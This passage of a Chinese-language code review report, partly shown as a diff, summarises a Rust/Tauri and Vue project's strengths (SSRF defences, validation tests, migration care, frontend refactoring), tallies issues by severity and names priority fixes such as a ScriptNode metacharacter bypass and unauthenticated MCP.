df-types/types.rs:437-477 测试了拼写错误/大小写/空白/SQL 注入/中文近义等边界, valid_values_all_pass_is_valid 锁定清单一致性 。
### ⑩ SSRF 防护完整
http.rs:50-208 私网 IP 黑名单 + DNS rebinding 防护(多 A 记录全检)+ 重定向 ≤3 跳每跳重新校验 + body 截断 50KB。
### ⑪ V21 大版本迁移谨慎
BATCH_SIZE=50 分页 + 空库跳过 + 坏数据 skip 不崩溃 + column_exists 守卫 ALTER TABLE。
### ⑫ 前端 composable 已大范围抽离
src/composables/ai/ 已拆 14 文件, AiChat.vue 从巨型组件瘦身到 767 行聚合容器。Settings.vue 已 master-detail 重构( 8 个子 Section/Panel, 309 行壳)。
---
@@ -382,11 +314,20 @@ serde_json::to_value(&t.tool).unwrap_or(Value::Null)
| 分类 | 🔴 | 🟡 | ✅ |
|------|----|----|----|
| 安全 | 8 | — | — |
| 文档 | 9 | — | — |
| 代码质量 | — | 7 | — |
| 前端 | — | 13 | — |
| 亮点 | — | — | 9 |
| **合计 ** | **17 ** | **20 ** | **9 ** |
| 安全 | 3 | — | — |
| 架构 | 6 | — | — |
| 代码质量 | 4 | — | — |
| 并发可靠性 | — | 5 | — |
| 代码简洁性 | — | 7 | — |
| 文档 | — | 6 | — |
| 亮点 | — | — | 12 |
| **合计 ** | **13 ** | **18 ** | **12 ** |
**总体评价 ** : 核心安全架构扎实( SQL 注入防护、密钥管理、MCP 多层防御、取消 TOCTOU) 。主要风险集中在 `state.rs` 同步锁在 async 上下文中的潜在死锁、文档与代码脱节( AI对话引擎工具数过时、INDEX 漏列 9 文档、~100 行已移除模块残留) 。前端整体质量高, 但需清理少量遗留( Arco 残留、内联 confirm 重复 )。
**总体评价 ** : 核心安全架构扎实( SQL 注入防护、keyring 密钥、SSRF 防护、取消 TOCTOU、重试工业级) , 前端架构演进健康( composable 大范围抽离、Settings 已 master-detail 重构 )。
主要问题集中在:
- **架构债**: AI 核心状态机焊死 src-tauri( #4 ) 、df-project 伪分层(#5 )、文档严重失步(#9 )
- **代码质量**: useAiEvents 三处复制粘贴(#10 ) 、Store 错误处理 38 处重复(#11 )
- **安全细节**: ScriptNode 元字符绕过(#1 ) 、MCP 无鉴权(#2 )
优先修复建议:① 修文档(#9 成本极低);② 补 df-relay 测试(#13 );③ ScriptNode 默认黑名单(#1 );④ 抽 useAiEvents 公共函数(#10 )。